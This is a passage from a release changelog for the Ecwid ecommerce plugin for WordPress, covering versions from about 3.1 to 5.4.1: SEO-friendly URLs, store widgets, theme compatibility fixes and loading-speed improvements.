= - **Loading speed optimization for the Single Product widgets.** We continue working on improving the Ecwid ecommerce plugin loading speed. This update includes optimization of single product widgets. The optimization should have especially good effect if you added multiple single product widgets on a page (e.g. for creating a featured slider or a customized products grid). - **The Recently Viewed Products widget is also optimized.** It now works much faster. If you haven’t used the widget before, feel free to enable it under Appearance -> Widgets. - **The legacy “Appearance†settings page is removed from the plugin admin menu.** The old “Appearance†settings page was removed from the plugin settings navigation. To configure the product catalog settings (displayed widgets, products per page etc), you can open your store page for editing in the WordPress admin backend and click the “Edit appearance†button there. If you don’t have a store on the page, click the “Add store†button in the page editor and set the appearance settings there — they will be applied to your store on that page. - **Fixed “Strict standards†code notices.** Some users may discover this notice on their site, if the debugging messages are not disabled in the Wordpress installation. That didn’t affect the store functionality, but looked odd. We fixed that — there should not be any warning messages displayed now. - Minor fixes and improvements. = 5.4.1 = - Fixed an issue with the store page loading in the newest version 5.4. In some rare occasions, the store page might not display right after update to the version 5.4. We fixed the issue to make sure all stores are working well. - Added a workaround for a conflict with the third party “Product Advisor for Ecwid†plugin. The “Product Advisor†plugin has a bug that prevents it from working correctly with the newest versions of the Ecwid plugin. When the Product advisor plugin is enabled, the site pages do not respond. We added a workaround to the Ecwid plugin to make sure the WP admin pages will work well for the “Product advisorâ€. So, if you’re using the “Product advisor†plugin and see any issue with your site now, please disable that plugin in your WP admin backend. We’re speaking with the author of the Product advisor plugin so there will hopefully be a solution soon. = 5.4 = - **Improvements in the SEO friendly versions of product pages, which are indexed by search engines.** This includes optimized product price format, canonical tags and minor adjustments for SEO titles and descriptions. This is another improvement for search crawlers to better index store pages. - **Adjustments for the “All in one SEO†plugin** to make sure it works well with the Ecwid’s new clean URLs. - **Fixed “preg match†PHP warning messages**, which appeared on some sites with the Ecwid ecommerce plugin enabled. - **Fixed an issue with site images in the Newsmag Wordpress theme** — some images were not displayed well with Ecwid. We fixed that so everything should work fine in the Newsmag theme now. - **Several fixes and improvements for the floating minicart widget.** - **Loading speed improvements.** We optimized the plugin code to render store pages and widgets faster. = 5.3.1 = - **Fix for the “Add product†button in the WordPress editor.** The button was broken in the latest version (5.3) — it generated invalid shortcode for the single product widgets. The problem didn’t affect existing product widgets, but the new ones didn’t render. It’s now fixed. If you faced a trouble adding product widgets to your pages and posts, please update the plugin and try again. = 5.3 = - **Fixes and improvements for the new clean URLs functionality.** The new clean URLs for your online store are now more stable and the product pages are more SEO friendly. The changes include: fix in the processing of non-latin characters in the product URLs; adjustment for the sharing metatags on the product pages (rel shortlink meta tags); fix for the store terms&conditions and signin links to make them work properly with the new clean URLs. - **Fix for the Recently Viewed Product widget and the “Minimaze†theme.** The widget didn’t work well in this theme. Now you can use Recently Viewed Products with the Minimaze theme as well as with any other Wordpress theme. - **Layout improvements and fixes for the “Ribosomeâ€, “Edge†and “OptimizePress†Wordpress themes.** If you use one of those themes, you might notice minor layout issues in your e-commerce catalog or in the appearance of minicart widget. The troubles should be fixed now. - **Fixed a “404 not found†issue, when Ecwid is used with the “Sublanguage†plugin.** If you noticed some of your pages respond with 404 errors when Sublanguage and Ecwid plugins are both activated, this update should fix that. - **Improvements for the product pages SEO when Yoast plugin is used on the site.** If you have the new Ecwid clean URLs enabled in your shop and are using Yoast, this improvement should make meta tags and canonical tags work better on your site with the new URLs. = 5.2 = - **Major improvement in the speed of loading storefront.** The plugin now renders ecommerce pages and loads store widgets much more quicker both for your visitors and search engines. - **SEO improvements for product and categories pages when SEO friendly URLs are enabled.** Now a special plain version of the product page content is generated and loaded in background along with a regular product/category page. This new version is formatted to provide product and category information in a clear and understandable format for crawl robots that cannot parse JavaScript — this makes your store indexable by other search engines besides Google (e.g. Yandex). This special version is not visible in a browser, so your customers will as usually get the full store version. Please do not forget to enable new SEO friendly clean URLs to get this working on your site. = 5.1.1 = - **Fixed the “Strict code standards†notices** appearing on some sites with Ecwid plugin enabled. The messages didn’t affect the product catalog and checkout, but looked confusing for the site visitors. We fixed that. The notices should disappear now. - Minor improvement for the SEO friendly clean URLs function. = 5.1 = - **Improved SEO friendly clean URLs tool.** Previously, if you had your store installed on different pages of your site (e.g. different store categories on different site pages), the SEO URLs worked on the main store/catalog page only. Now it should work fine on all pages you add your store to. Please make sure you use the “Add store†editor button when adding your store to the site pages. - **The new categories menu widget is now enabled for every site.** We released the new categories widget in the version 3.4 — it is mobile friendly and looks great with any wordpress ecommerce theme. We made it possible to turn on/off the new widget temporarily to make sure every site would have time to try it before it’s enabled for everyone. Now it’s enabled. If you have enabled it previously, nothing will change for you — your categories widget is already updated. If you have the old categories widget displayed on your site, this update will replace it with the new one. Please let us know if you have any trouble with the new widget. - **Fixes and improvements for the SEO friendly clean URLs option.** We continue polishing the new Ecwid URLs (added in the v.5) to make sure they work well in every store. Have any feedback on your store URLs? Please let us know. = 5.0.7 = - **SEO improvement for canonical tags on the product and category pages.** The Ecwid ecommerce plugin now hides the store root page canonical and dynamically adds corresponding canonical tags to the product and category pages as you browse the store. This is to improve the pages visibility for search engines, when the new clean URLs option is enabled. - **Fixed layout issue in the Wordpress 2017 theme.** We found an issue with the way Ecwid online stores are displayed in the default Wordpress “Twenty Seventeen†theme — the stores pages appeared too narrow. We fixed that. = 5.0.6 = - **Fixed a loading speed issue.** Some sites with the Ecwid ecommerce plugin might have troubles with loading speed, when store categories menu was enabled. We optimized the way Ecwid renders and displays the store categories navigation so the issue should be fixed now. = 5.0.5 = - **Fixed a a bug causing 404 errors on the store page when SEO friendly URLs are enabled.** The issue appeared on the sites where store is placed on the site home page. Now the clean SEO URLs option should work fine regardless of whether you add Ecwid store to your site home page or any other page. - Minor fixes and improvements. = 5.0.4 = - Minor fixes for the new SEO friendly clean URLs feature. = 5.0.3 = - **SEO friendly clean URLs.** This is major new feature that we recommend everyone to enable. We made store pages URLs clean and SEO friendly. The new URLs do not contain hash sign ("#"), which makes your store better indexed by Google. There are less extra characters like '/', '~' or'!', so the page address looks cleaner. As previously, the new product and category pages URLs include product/category titles to make them easily readable both for Google and for your customers. Of course, no page refresh happens when the customer browses your store: the store pages with new URLs work without page reload, as it's been always worked in Ecwid. So, you have your quickly loading store pages with new SEO friendly URLs. To enable the new URLs, navigate to the Ecwid plugin Advanced settings and tick the "SEO friendly URLs" checkbox. Note: the old URLs format is supported as well, so all your existing links will continue to work fine. - **An improvement for the floating cart sidebar widget.** Now, when you add the widget to any sidebar, the widget will displayed on every site page regardless of whether the sidebar is available on that page or not. This makes it easier for your customer to access their shopping cart and check out. - **A few fixes for the integrated search.** Recently we added a new feature that integrates your site search with your store products to list them when your customers use the site's general post/page search. We continue improving it and fixing issues you are reporting. Thank you! - **A few improvements and fixes for the "Add product" button in the WordPress editor** to make it easier for your to add your store products to your site pages. = 4.9.4 = - **The new search widget is now enabled for every site.** We released the new search widget in the version 4.2 — it is mobile friendly and looks great with any wordpress ecommerce theme. We made it possible to turn on/off the new widget temporarily to make sure every site would have time to try it before it’s enabled for everyone. Now it’s enabled. If you have it enabled previously, nothing will change for you — your search widget is already updated. If you have the old search widget displayed on your site, this update will replace it with the new one. Please let us know if you have any trouble with the new widget. - **Fixed a minor issue with displaying store control panel on the Ecwid Dashboard page in Wordpress admin backend**. The control panel previously might be displayed with a horizontal scrolling. We fixed that — it should look fine now. - Layout fixes for the ZeroGravity Wordpress theme. = 4.9.3 = - **Fixed an issue with erroneous “Restore backup†messages in the editor in Wordpress admin backend.** One of the recent changes in our plugin made the WordPress editor display messages like “The backup of this post in your browser is different from the version below.†In fact, the messages did not mean there was a change that had not been not saved. The restore backup messages are normally hidden by Wordpress, but one of our CSS changes (editor page layout tweaks) made them appear. All your data is safe and the warning messages were displayed by mistake. We fixed them now and they should not appear anymore. = 4.9.2 = - **Improvements and fixes for the new "Add product" button in the Wordpress editor.** We recently added a tool for inserting a product from your store to any page or post on your site. In this update, we polished the tool look and feel, fixed a few issues and improved performance. To try it, click the "Add product" button in the editor in your Wordpress admin backend. - **Fixed an issue with the "Screen options" and "Help" Wordpress menus in the page editor in Wordpress admin backend.** Those Wordpress functions were slightly affected by the new "Add product" functionality of the Ecwid e-commerce plugin and might not work well. We fixed that. Everything should work properly now. - **A few fixes for the new integrated search functionality.** Feel free to enable and try the new search feature on the plugin settings (Ecwid Store -> Advanced) — it will make your store products available in your site regular pages/posts search. = 4.9.1 = - **Fixed an issue in the new integrated search functionality** causing javascript errors on site pages where no store widgets are installed. Feel free to enable and try the new search feature on the plugin settings (Ecwid Store -> Advanced) - **Improvement for the Single Sign On.** If you have Single Sign On (SSO) enabled in the plugin settings and your customer do not have name specified in their profile, the store account will use their nickname as the firstname. This will make store more friendly for your new buyers. (edited) = 4.9 = - **Integration with Wordpress search**. This new feature will make your ecommerce site search find store products among other site pages and posts. So, when your customer searches for something on your site, they will see both site content and store products in the search results and will be able to navigate directly to the product pages from there. Please enable it on the Ecwid/Advanced settings page in your Wordpress backend and do not forget to click "Synchronize products" link. The feature is now in beta stage and we are actively improving it. So if you face any trouble with it, please let us know. = 4.8 = - **New "Add product" button in the Wordpress post and page editor.** Now you have a useful and easy tool to place a product from your store on any page or post on your site. Just open any post or page in your Wordpress admin panel, click the "Add product" button in the editor, select the product you want to see on that page and click "Insert" – a product widget will appear on that page after you publish the chnages. The new "Add product" popup allows customizing the appearance of the widget so you can choose whether you want to see the picture along with title, price and quantity selector or just a simple Buy now button. Product widgets that you put on your site are seamlessly integrated with your store and shopping cart — wherever you place a product or buy now button on your site, the customers will be able to add it to the cart and proceed to checkout as if it was a regular store page. We recommend using product widgets and buy now buttons on every page or post where you mention the products or services you sell – this way you will provide an easy and natural way for a customer to know more about the product and buy it from the same page, be it a blog post, an "About" page, a testimonial or any other page on your ecommerce site. Enjoy! = 4.7.6 = - Fix for the legacy search shortcode ([ecwid_searchbox]), which was broken in the recent 4.7.5 release. = 4.7.5 = - **A few enhancements for the Wordpress brand new "Twenty Seventeen" theme.** Ecwid store page in that theme will look better with this update – we made the page layout a bit wider to make sure it's convenient for your buyers to navigate the catalog. - **Another improvement for the new Ecwid single product widget.** Now it's possible to use the "center_align=1" parameter in the shortcode to make the widget center aligned on the page. You may want to use that if you place one product widget per page – in this case, it will look better when center-aligned. An example shortcode: [ecwid_product id="12345" version=2 center_align=1]. Do not forget to replace 12345 in this example with the actual product ID. - Minor fixes for the "Trend" Wordpress theme. = 4.7.4 = - **WordPress 4.7 and Twenty Seventeen theme compatibility.** The new WordPress version with the 2017 theme is coming soon. Ecwid shopping cart plugin is ready for the upcoming changes – everything will work well. Feel free to upgrade your site to WordPress 4.7 as soon as it's released and try a new theme. - Minor fixes and improvements. = 4.7.3 = - **Improvements for the new Ecwid’s single product widget.** Now it's possible to use the "show_price_on_button=0" and “show_border=0†parameters in the shortcode to disable the price on buy now button and widget border respectively. If you want to hide the widget border, for example, the resulting code will like this: [ecwid_product id="12345" version=2 show_border=0]. Do not forget to replace 12345 in this example with the actual product ID. - Fixed a bug with the floating shopping cart: the floating cart widget didn't appear on some rare Wordpress themes, we fixed that. Now it should work fine. = 4.7.2 = - **Added support for the Ecwid’s improved single product widgets.** To feature a single product on a separate page or blog post of your ecommerce site, you can use the [ecwid_product] shortcode. We improved the look and feel of the single product widgets in Ecwid and added those improvements to the single product shortcode version #2. You can use it like this: [ecwid_product id="12345" version=2]. Do not forget to replace 12345 in this example with the actual product ID. - **Fixed error messages appearing on some Wordpress sites with the "Trend" theme installed.** If you use Ecwid shopping cart with Trend theme and recently noticed an error message in your site admin backend, please use this update this update – it should fix that issue. = 4.7.1 = - Fixed a few warning messages appearing on some sites with the new version of the plugin. = 4.7 = - Fixed a layout issue in the floating cart widget in the "Mobius" WordPress theme. - Fixed a few issues with the Single Sign On functionality in the plugin. - Improvements for compatibility with GravityView plugin. You can use that plugin and Ecwid ecommerce shopping cart together – they should work with no issues. = 4.6.3 = - Fixes infinite loading issue that occurred under certain store configurations. = 4.6.2 = - Fix for the legacy search shortcode ([ecwid_searchbox]), which was broken in the recent 4.6 release. = 4.6.1 = - The latest update (v 4.6) had a bug in the sidebar widgets (search box and recently viewed products). The widgets did not display and generated error/warning messages on the sites. We fixed that. - Another issue with the latest update is related to the legacy Ecwid shortcodes ([ecwid_script], [ecwid_productbrowser] etc). On the old installations (2 years old and more), the warning messages appeared – you might notice them on the store page. We now fixed this and everything should be fine, all Ecwid plugin installations work well. = 4.6 = - **Compatibility with the "Contact form 7 designer" plugin** . When installed, the "Contact form 7 designer" plugin adds its own code to the <html> and <body> tags on the page on every page of the site. This conflicted with Ecwid storefront styles. We fixed that – now if you use the both plugin t the same time, your site pages styles should work fine. Note: this plugin is not the same as the popular "Contact form 7". Ecwid ecommerce functionality works well with the latter, so don't worry if you use it on your site. - **Fix for a store links issue in the "Flora" theme by Wyde.** Users with "Flora" theme on their sites reported that there are glitches in the way Ecwid online store links behave in that theme. We fixed that – Ecwid now works well with "Flora". - **Compatibility with the "Trend" Wordpress theme.** Ecwid shopping cart is designed to work great with all WordPress themes. However, we sometimes see that Ecwid has troubles working with some AJAX-driven WordPress themes. We found a way to fix this and started working on improving the plugin. With this release, the Ecwid plugin becomes compatible with the beautiful "Trend" theme. We'll get to the other AJAX themes in the future releases. If you find a theme that Ecwid has troubles with, please let us know – we'll fix that. - **Fixed a bug with the store menu item duplicates.** In a recent update, we fixed duplicate Store pages appearing when you deactivate and re-activate the plugin several times. In this release, we fixed a similar bug with the "Store" menu items. However often you enable/disable the plugin, the site navigation menu now works properly, keeping a single Store link, unless you deliberately add a few shop links to the menu (e.g. to have store category links in the menu). - Minor improvement and fixes to make the plugin more stable and user friendly. = 4.5 = - **Update in the Single Sign On Module (Ecwid SSO).** Single Sign-On allows your customers to have a single login for your WordPress site and your Ecwid store. We updated it to use the latest Ecwid ecommerce APIs to make it more convenient for you. Now the module doesn't require a separate API key – it works seamlessly with no extra setup. - **Compatibility with Divi builder editor.** Divi builder adds a nice WYSIWYG editor to the Wordpress admin. Ecwid shopping cart now is compatible with that editor – so you can add Ecwid store shortcode right from the Divi builder editor, no need to switch back to the default Wordpress editor if you prefer to use the Divi's one. - **Fix for a bug in the store appearance popup.** The store widgets settings were hidden when the "widgets" part was manually removed from the Ecwid shortcode in the page editor in Wordpress admin. We fixed that, now the settings popup should work fine. - **Slight improvements in Chameleon.** The "Chameleon skin" option in the plugin Advanced settings automatically adjusts the store texts and styles to match those of your site. We continue improving it so that it works better with all sites. - **Fixed a bug with store pages duplicates.** Previously, an extra Store page was created each time you deactivated and re-activated the plugin. It's fixed – now the Ecwid plugin remembers the store page and use it however often you deactivate/activate the plugin. - Slight layout improvements for the stores embedded into sites with Salient theme installed. = 4.4.5 = - **Minor fixes and improvements.** = 4.4.4 = - **Minor fixes and improvements.** = 4.4.3 = - **Minor fixes and improvements.** = 4.4.2 = - **Fixed a few layout issues in the categories menu layout and the "Store root categories" widget.** Both wigets should look good now on any site and let your customers navigate your store easily. If you find any issue in the categories navigation in your store, please let us know. - **Fixed an issue for meta title and description fields (SEO) for the sites with Yoast SEO plugin installed.** The issue appeared on the sites where the store is installed on the main (home) page – meta title and description didn't work properly. We fixed this. Ecwid shopping cart plugin is totally compatible with Yoast SEO so we recommend using them together to make your store more visible in search engines. = 4.4.1.2 = - Fixes PHP warning messages appearing on some server configurations. = 4.4.1 = - **Fixed notice/warning messages that appeared in rare cases in a sitemap generated by 3d-party Sitemap/SEO plugins.** Now sitemaps should be generated without any error messages. Here, you can find the plugins we recommend to generate a sitemap on your Wordpress site: https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#productstositemap - **Added a few improvements to the plugin code to work better on servers with PHP7 installed.** If your hosting is going to migrate your site to PHP7, you can rest assured Ecwid eCommerce plugin will work fine in new environment. - **Fixed an issue with the "Default category" drop-down in the store page appearance settings.** You might notice that the Default category list in the store page settings didn't show a category if you just created that category in your online store. We updated this tool so that it faster reacts on creating new categories. - **Fixed an issue with price display in the Recently viewed products sidebar widget.** You might notice that the Recently Viewed Products widget didn't display product prices on your site – we fixed that. = 4.4 = - **New store categories sidebar widget.** The new categories widget displays your online store root categories list in the site sidebar to let your customers navigate the store easily. Compared to the legacy sidebar categories widget, the new one fits your site layout perfectly – its style is fully based on your theme fonts and styles and looks good on any device and screen size. Find it under Appearance->Widgets->Store Root Categories. - **Fixed an issue with the categories list in the page default category option.** Ecwid Ecommerce plugin allows you to define a store category shown by default when a customer opens the store page. This could be used to feature some part of your products or display different categories on different site pages. In some cases, the drop-down selector of categories in this tool didn't have the actual categories list from your store (e.g. when you add a new category). We fixed this. You can continue using this tool – it should work good. - A few minor fixes and improvements. = 4.3 = - **New Minicart Widget.** We added a new floating minicart widget. You can enable it on the "Appearance -> Widgets" page in you Wordpress backend. The new search widget appears as soon as a customer adds something to the cart and resides at the top right or bottom right position on the screen so that the customer always sees it and can easily proceed to checkout. The minicart widget also contains a counter displaying the number of products in the cart. Feel free to add it to your site – it's free! - **Look and feel improvements and minor layout fixes in the themes Zerif-lite, Storefront, Pixova-lite and Accesspress Mag.** Thanks to the Chameleon skin feature we released a few months ago, Ecwid looks good with every Wordpress theme. Now it became even better in these four popular themes. - **Fixed a bug on the category pages in mobile view.** In some Wordpress themes, click on category icon returned an error and got customer back to the category listing page, when the store was opened from a mobile device. We fixed that and now there shouldn't be any troubles with viewing your shop on mobile devices. - **Fixed a bug preventing Ecwid plugin working well with the Envira Galleries plugin.** Those of you using Envira Galleries on the site might notice it doesn't work properly on the pages containing Ecwid. We fixed that, you can now use the both plugins, they should work fine together. - **Improved the plugin settings page footer.** It now includes a link to the mobile app page inside Ecwid Control Panel, which significantly simplified the Ecwid mobile apps installation. - **Fixed a few more minor bugs on the plugin settings pages.** We're constantly improving the plugin settings pages to make store managements as convenient as possible. If you find any trouble working with your store in the plugin, please let us know. = 4.2.1.3 = - Fixes for the perfomance issues on some sites. = 4.2.1.2 = - Fixes an error appearing on some sites with the previous version of the plugin. = 4.2.1.1 = - Fixes for a few warning messages appearing on some sites with the new version of the plugin. = 4.2.1 = - **New Help page in the plugin settings.** We have a lot helpful articles and ecommerce tips in the Ecwid Help center at help.ecwid.com. In this update, we made it closer to you – the Help page with FAQ and a simple search field is now available right in the plugin settings. Have a question about your online store? Refer to the new Ecwid->Help page in your Wordpress admin backend. - **Better compatibility with Accesspress Store and Sliding Door themes.** We adjusted Ecwid storefront look a bit to better match these Wordpress themes layout and fonts. - **Fixed a bug in the product page titles.** You might notice that the product page titles repeated the product name twice. We fixed it. = 4.2 = - **New Search Widget.** We released a new search widget that’s vastly improved over the previous one. You can enable it on the "Ecwid -> Advanced" settings page in your Wordpress backend. The new search widget is fully adaptive, automatically fits in its parent section, and looks great with any ecommerce theme. It also fits your sidebar even if it's very narrow, so feel free to add product search to your site sidebar in the "Appearance -> Widgets" section of your site admin. - **Fixed a bug in the categories menu on mobile devices.** You might notice that the product categories menu disappeared on your site when it's opened on a mobile device with narrow screen. It's now fixed – the categories menu looks great on any screen size. - Bug fixes and improvements for the Recently Viewed Products widget. = 4.1.3 = - Improvements for the plugin Dashboard page layout and a few minor fixes. = 4.1.2 = - **Ecwid mobile apps badges of the dashboard page.** We made a facelift for the plugin dashboard page footer and included mobile apps badges there to make it easier for new users to find and install Ecwid ecommerce mobile applications for iPhone, iPad and Android. Why bother to install it? It allows you to manage your store and sell on the go. - **Fixes for the embedded store Control Panel.** There were issues in the store control panel when the Wordpress site was hosted on a server with incorrect system date set. We made the plugin tolerant of this kind of hosting issues – the embedded ecommerce Control Panel should now be displayed fine on every server. - **A fix for the Advanced settings page in the plugin backend.** In some rare cases, the advanced settings page in the plugin didn't show the Chameleon option, which enables auto adjustment of the store layout. We fixed that and the Chameleon option is now available for every user. A good moment to try it, if you haven't yet. - A few miscellaneous fixes and improvemens in the plugin core. = 4.1.1 = - **Layout improvements for the Accesspress-mag theme.** Accesspress-mag theme users might notice slight glitches in the store buttons. We fixed those. - **Added the page default category dropdown for free users.** When you add a store on your site page, you can set the store category to be displayed on that page. This "default category" tool was previously just a text input where you were supposed to put the category ID, if you're on free Ecwid plan. Now it's a dropdown menu so you can easily select a store category for each page. It's very useful if you want to display different categories on different pages of your site. - Minor bug fixes and improvements = 4.1 = - **Product images are included in the sitemap generated by the Yoast SEO plugin.** Ecwid is integrated with popular SEO plugins: Yoast SEO and Google XML Sitemaps, which allows merchants to generate a sitemap containing the links to their products and categories. Now, the sitemaps generated by Yoast SEO will also automatically include links to the product images. This will make Google better index your products pictures and list them in the search results. - **Ecwid plugin now supports oEmbed discovery.** As of version 4.4, WordPress supports oEmbed. In short, that's a tool which makes a link to a post or a page of your site looks nice when pasted on another site supporting this. Ecwid ecommerce plugin now supports it too, so if you paste a link to your store page on any other oEmbed-empowered site (e.g. another Wordpress site), it will automatically displays a nice widget with the page title and a list of your store categories. - Fixes and improvements for the storefront widgets and for the plugins admin pages. = 4.0.7 = - **Fixed a problem with connecting to the Ecwid API on the servers with misconfigured or outdated CURL.** Some servers couldn't connect to Ecwid from to display the Ecwid Control Panel inside Wordpress backend. That caused a "Connection problem" error message, which some of Ecwid users saw in their Wordpress admin section. We added a fix that should resolve this problem and make the Ecwid Ecommerce Control Panel inside Wordpress work OK for those users. - Improvements for the new drop-down categories store menu added in the version 4 of the plugin. If you haven't tried it yet, go check it out in the Appearance -> Menus settings of your site. - Fixes and improvements for the plugin settings pages. = 4.0.6 = - **Fixed a bug affecting the links in store sidebar widgets.** The bug appeared in the version 4.0.5. It’s now fixed and all categories/cart/search links should work OK = 4.0.5 = - **Updated SEO Titles and Meta Descriptions.** Google recently launched a new crawling schema to better index rich AJAX sites and applications like Ecwid, which is a great news for all Ecwid users. We're keeping an eye on this and help Google improve indexing of all Ecwid stores. In this update, we made the product/categories page titles and descriptions change on the fly (with no page reload) so that Google will index them better. No action is required from your side – we will continue improving how your online store appears for Google to make sure your products and categories will get to the search results. - **Fixed a bug affecting the "Re-connect Ecwid account" link.** The "Disconnect the Ecwid store and connect to another one" link at the bottom of the plugin dashboard now works fine. - **Fixed a bug affecting the sites with enabled JetPack's "Spelling and grammar" module.** The Ecwid ecommerce plugin v4 conflicted with that spelling module from JetPack, which affected the process of a publishing new posts and pages. Now it's fixed. Posts/pages publishing should work OK for all users. = 4.0.4 = - Fixed an issue affecting site preview in Wordpress Customizer in some themes. Now the preview in the customizer tool should work fine. = 4.0.3 = - Fixes for a few warning messages appearing on some sites with the new version of the plugin (v4). = 4.0.2 = - **Built-in Full-featured Store Control Panel.** You can now manage your store, add new products, track sales and more right in your Wordpress site admin backend. No redirects, no external dashboards, no extra login/password – you now have a single place and single login to manage your site and your store. To make it even better, we added the Products and Sales shortcuts to your Wordpress admin menu – feel free to use them to easily access your inventory and sales list. - **New Drop-down Categories Menu.** Noticed how WordPress automatically updates your site menu adding your site pages to it? Ecwid now does it too: open "Appearance -> Menus" in your Wordpress control panel and add the "Store with Categories Menu" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site. It will keep the categories list up to date even if you often change your store categories. Rest assured your customers can easily quickly get to the category of products they are interested in right from the site menu. - **More Store Menu Items for your site.** In addition to the drop-down categories list, the new "Store" menus section under Appearance -> Menus provides "Search", "Cart" and "My Account" items. Add those quick links to your site for your customers to browse your store easier. - **Bug Fixes and Improvements.** As usual, we fine-tuned the plugin and fixed a few bugs. We wish you happy holidays and all the best in the New Year! Sincerely yours, Ecwid team. = 3.4.7 = - Fixed a few layout issues in three popular Wordpress ecommerce themes: Responsive, Attitude, ResponsiveBoat. - Added a fix for the bug in WordPress editor, which corrupts the schema.org-formatted HTML codes. This should prevent the editor from corrupting Ecwid single products widget codes and other HTML snippets containing schema.org / microdata formatting. = 3.4.6 = - **Layout improvements for Mantra theme.** Mantra theme users might notice slight glitches in the recently viewed products and horizontal menu widgets. We fixed those. - **Minor fixes for plugins settings page layout in Wordpress 4.4.** Feel free to update your Wordpress to the newest version 4.4 as soon as it's released, the Ecwid plugin will work fine with it. = 3.4.5 = - Updates and bug fixes for the new horizontal categories widget. - Fixed a layout issue in the "Categories" block on the store page management in the Wordpress admin backend. - Improved store connect functionality for the servers, which may have troubles connecting with the Ecwid API. - A few minor bug fixes and improvements to make the plugin more stable. = 3.4.4 = - **Added compatibility with the "Add Meta Tags" plugin.** The "Add Meta Tags" plugin is a popular tool to set SEO meta tags on site pages. Previously it rewrote the titles and description that Ecwid generated for search engines on your site. It's now fixed so if you use the plugin, everything should work fine and Google will index your products pages properly. - **Fixed a problem in the recently viewed products widget caused by Autoptimize plugin.** Previously, if Autoptimize plugin is used on the site, the recently viewed products widget reset the displayed products when page reloads. We fixed that. - **A few internal improvements** to make the plugin more stable and ready for the upcoming cool features. Stay tuned! More updates are coming. = 3.4.3 = - Updated Italian and Turkish translations. = 3.4.2 = - Fixed option to enable the new categories widget released in the v.3.4 . = 3.4.1 = - Minor fix for the "Twenty Sixteen†Wordpress theme = 3.4 = - **New look for the categories menu widget.** The old Ecwid categories menu widget (horizontal categories) was created long time ago and has been working in thousands of Ecwid stores. However, it doesn't adapt itself for the customer screen size as well as the other Ecwid widgets do. This has been always be a problem for responsive sites which look good on mobile devices. The new widget is fully responsive and looks great on mobile devices. To enable the new look of the categories widget on your site, navigate to Ecwid plugin settings -> "Advanced" tab and tick the "Enable the new category menu" checkbox. Once enabled, it will your store menu widget to the new look. If you don't have this option on the Advanced page, that means you installed the plugin after this change and the new categories are already enabled in your store. Enjoy! - **Bigger product images for search engines.** The plugin used to generate small product thumbnails on special store pages for search engines. Now it displays the original large product pictures there to assure better indexing of your product images in Google. Please make sure you're on one of Ecwid paid plans to make your products along with the pictures indexable by search engines. - **A few improvements and fixes to make plugin perfectly compatible with Wordpress 4.3 and the new Twenty Sixteen Wordpress theme.** Please feel free to update your sites to the newest Wordpress version, if you haven't yet, and try the brand new Wordpress theme (Twenty Sixteen) – your store should work OK with them. - **Fixed SEO issues on the sites with Genesis theme.** The Genesis theme places a special 'canonical' tag on each site page to improve the SEO of the pages. This in some cases conflicted with Ecwid ecommerce plugin. We overcame this from our side and now the plugin is compatible with SEO features of Genesis theme – your online store should be better indexed by search engines with this improvement. - **Fixed a bug with duplicate store pages that appeared if the user re-installed the plugin.** If you for some reason need to remove the plugin and install it again, everything will work smoothly now with no extra store pages drafts. - **Improve the search widget layout.** On a lot of Wordpress themes, the product search widget was displayed with 100% width, which makes the search input all-page-width. We fixed that and now it looks better. - Minor improvements and bug fixes. = 3.3.1 = - **Small improvement for "Twenty Twelve" WordPress theme.** The default drop down menu stayed open after clicking Ecwid links sometimes. We adjusted our plugin to work around this issue. - **Fixes of PHP notices.** In some cases the plugin caused some PHP notices or warnings to appear on screen if the site was run in debug mode. Although it did not cause any malfunction in plugin operation, these messages could be quite annoying. We fixed it. = 3.3 = - **Improved Single Sign On functionality.** Single Sign On module has been available in Ecwid ecommerce plugin for a while – it makes it possible for your customers to sign into your Wordpress site and fully use the Ecwid store installed on the site without having to sign in to Ecwid. Now we added a few improvements that should make the feature more useful. In particular, the Ecwid's "Sign in" link was usually hidden when Single Sign On is used, supposing a customer should use the Wordpress login functionality. Now, we made the link visible and redirecting to the Wordpress login form to avoid confusing the user who otherwise has to look for the area to login. - **Storefront layout improvements for the "Evolve" WordPress theme.** We adjusted Ecwid plugin to better integrate with a popular and beautiful free Wordpress theme – Evolve. In particular, we fixed the borders appearing around every storefront element in this theme. Ecwid stores now look a way better on WordPress sites with Evolve theme to provide better customer experience on any device and to generate more sales in your store. - **Compatibility with Autoptimize plugin.** One of Ecwid users recently reported an issue – the plugin doesn't work well on the sites with Autoptimize plugin installed. We fixed this in our plugin – it is now working well with Autoptimize. Feel free to use it on your site. - **Improvements for Recently Viewed Products.** We included a few improvements and bug fixes for the recently viewed products widget in this release. - **Fixed a bug in the "Add store" button in Wordpress editor.** The authors of Easy Image Collage plugin recently discovered a problem in the way Ecwid "Add store" button interacts with the other custom button in the Wordpress WYSIWYG editor. It's fixed now. Thanks to Easy Image Collage team. - A few improvements in the Chameleon skin tool. = 3.2.2 = - Fixed a few minor bugs in the Chameleon skin feature = 3.2.1 = - Fixed an issue in the new "Chameleon skin†tool that could affect font styles on the site. = 3.2 = - **New "Chameleon skin" tool (beta).** You can use it to adjust your online store styles to fit your Wordpress theme. Whatever Wordpress theme you use, Ecwid ecommerce plugin will detect predominant colors and font and use them in your product catalog. The feature is by default disabled on the existing accounts to make sure the update will not affect your storefront. To enable it on your site, open the "Advanced" page in the Ecwid plugin settings and tick the "Chameleon skin" checkbox. The feature is in beta so if you find any troubles with it, please let us know. - **Pre-populate Ecwid registration form fields with user Wordpress profile data.** When a new user installs the plugin and registers an account at Ecwid, the registration form will contain the name and email prefilled to make it easy for the merchant to create a new store and install it on their site. - **Improvements of the plugin settings pages to make them look good on mobile devices.** If you manage your Wordpress site from a phone or tablet, feel free to check the store settings there – Ecwid plugin settings pages now work better on mobile. - Fixed an intermittent issue with the default category option in the store appearance settings. = 3.1 = - **New recommendations block in Wordpress Dashboard.** Every Ecwid user has access to a lot of built-in features and third party applications that can be used to extend the store functionality and attract more sales. To make those features more visible and inform you of the new and existing tools you can use in your store, we added a new "Recommendations for your store" widget to the dashboard page in your Wordpress backend. We will update the content of this ecommerce widget from time to time to provide more actual advice and inform of the new applications and features, so stay tuned. - **Storefront layout improvements for the "Customizr" WordPress theme.** Ecwid plugin is by design compatible with any theme and looks good on any device and screen size your customers use. In this update, we adjusted our plugin to better integrate with one of the most popular free Wordpress themes – Customizr. Ecwid stores now look a way better on WordPress ecommerce sites with Customizr themes to provide better customer experience on any device and to generate more sales in your store. - **Added German translations to the plugin settings pages in Wordpress admin backend.** Thanks to Stefan Wagner for the great job on the plugin translation. - **Improved Italian translations for the plugin settings pages.** Big thanks to Luciano Delfico who has contributed a lot of Italian translations to 